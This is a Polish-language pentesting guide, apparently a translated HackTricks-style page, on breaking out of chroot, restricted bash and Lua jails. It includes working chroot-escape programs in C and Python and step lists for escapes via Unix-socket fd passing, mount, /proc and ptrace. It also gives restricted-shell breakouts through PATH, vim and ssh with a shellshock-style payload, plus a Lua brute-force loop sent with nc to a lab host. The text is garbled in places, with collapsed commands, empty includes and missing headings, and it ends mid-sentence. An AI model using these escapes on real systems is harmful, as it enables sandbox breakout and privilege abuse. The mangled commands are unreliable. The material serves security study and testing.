Z wikipedia: Mechanizm chroot nie jest przeznaczony do obrony przed celowym manipulowaniem przez uprzywilejowanych (root) użytkowników. Na większości systemów konteksty chroot nie są odpowiednio stosowane i chrootowane programy z wystarczającymi uprawnieniami mogą wykonać drugi chroot, aby się wydostać.
Zazwyczaj oznacza to, że aby uciec, musisz być rootem wewnątrz chroot.
Narzędziechw00t zostało stworzone do nadużywania poniższych scenariuszy i ucieczki z chroot.
Root + CWD
Jeśli jesteś rootem wewnątrz chroot, możesz uciec, tworząc inny chroot. Dzieje się tak, ponieważ 2 chrooty nie mogą istnieć obok siebie (w Linuksie), więc jeśli utworzysz folder, a następnie utworzysz nowy chroot w tym nowym folderze będąc na zewnątrz niego, będziesz teraz na zewnątrz nowego chroot i dlatego będziesz w systemie plików.
Dzieje się tak, ponieważ zazwyczaj chroot NIE przenosi twojego bieżącego katalogu do wskazanego, więc możesz utworzyć chroot, ale być poza nim.
Zazwyczaj nie znajdziesz binarnego pliku chroot wewnątrz więzienia chroot, ale możesz skompilować, przesłać i wykonać binarny plik:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
To jest podobne do poprzedniego przypadku, ale w tym przypadku atakujący przechowuje deskryptor pliku do bieżącego katalogu, a następnie tworzy chroot w nowym folderze. W końcu, ponieważ ma dostęp do tego FDna zewnątrz chroot, uzyskuje do niego dostęp i ucieka.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD można przekazywać przez Unix Domain Sockets, więc:
* Utwórz proces potomny (fork)
* Utwórz UDS, aby rodzic i dziecko mogli się komunikować
* Uruchom chroot w procesie potomnym w innym folderze
* W procesie nadrzędnym utwórz FD folderu spoza nowego chroot procesu potomnego
* Przekaż do procesu potomnego ten FD, używając UDS
* Proces potomny zmienia bieżący katalog na ten FD, i ponieważ jest poza swoim chroot, ucieknie z więzienia
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Zamontuj urządzenie root (/) do katalogu wewnątrz chroot
* Uruchom chroot w tym katalogu
To jest możliwe w systemie Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Zamontuj procfs do katalogu wewnątrz chroot (jeśli jeszcze tego nie zrobiono)
* Znajdź pid, który ma inny wpis root/cwd, np.: /proc/1/root
* Uruchom chroot w tym wpisie
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Utwórz Fork (proces potomny) i uruchom chroot w innym folderze głębiej w systemie plików oraz zmień na niego katalog bieżący
* Z procesu nadrzędnego przenieś folder, w którym znajduje się proces potomny, do folderu poprzedniego dla chroot procesu potomnego
* Proces potomny znajdzie się poza chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Kiedyś użytkownicy mogli debugować swoje własne procesy z procesu tego samego procesu... ale to już domyślnie nie jest możliwe
* W każdym razie, jeśli to jest możliwe, można ptrace do procesu i wykonać shellcode wewnątrz niego ([zobacz ten przykład](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeracja
Uzyskaj informacje o więzieniu:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Zmodyfikuj PATH
Sprawdź, czy możesz zmodyfikować zmienną środowiskową PATH.
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Korzystanie z vim
:setshell=/bin/sh:shell
Utwórz skrypt
Sprawdź, czy możesz utworzyć plik wykonywalny z zawartością /bin/bash
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Uzyskaj bash z SSH
Jeśli uzyskujesz dostęp za pomocą ssh, możesz skorzystać z tego sztucznego triku, aby uruchomić powłokę bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Zauważ, że za każdym razem, gdy wykonasz poprzedni polecenie w innym środowisku Lua, kolejność funkcji się zmienia. Dlatego jeśli musisz wykonać określoną funkcję, możesz przeprowadzić atak siłowy, wczytując różne środowiska Lua i wywołując pierwszą funkcję biblioteki le:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Uzyskaj interaktywną powłokę lua: Jeśli znajdujesz się w ograniczonej powłoce lua, możesz uzyskać nową powłokę lua (a być może nieograniczoną) wykonując: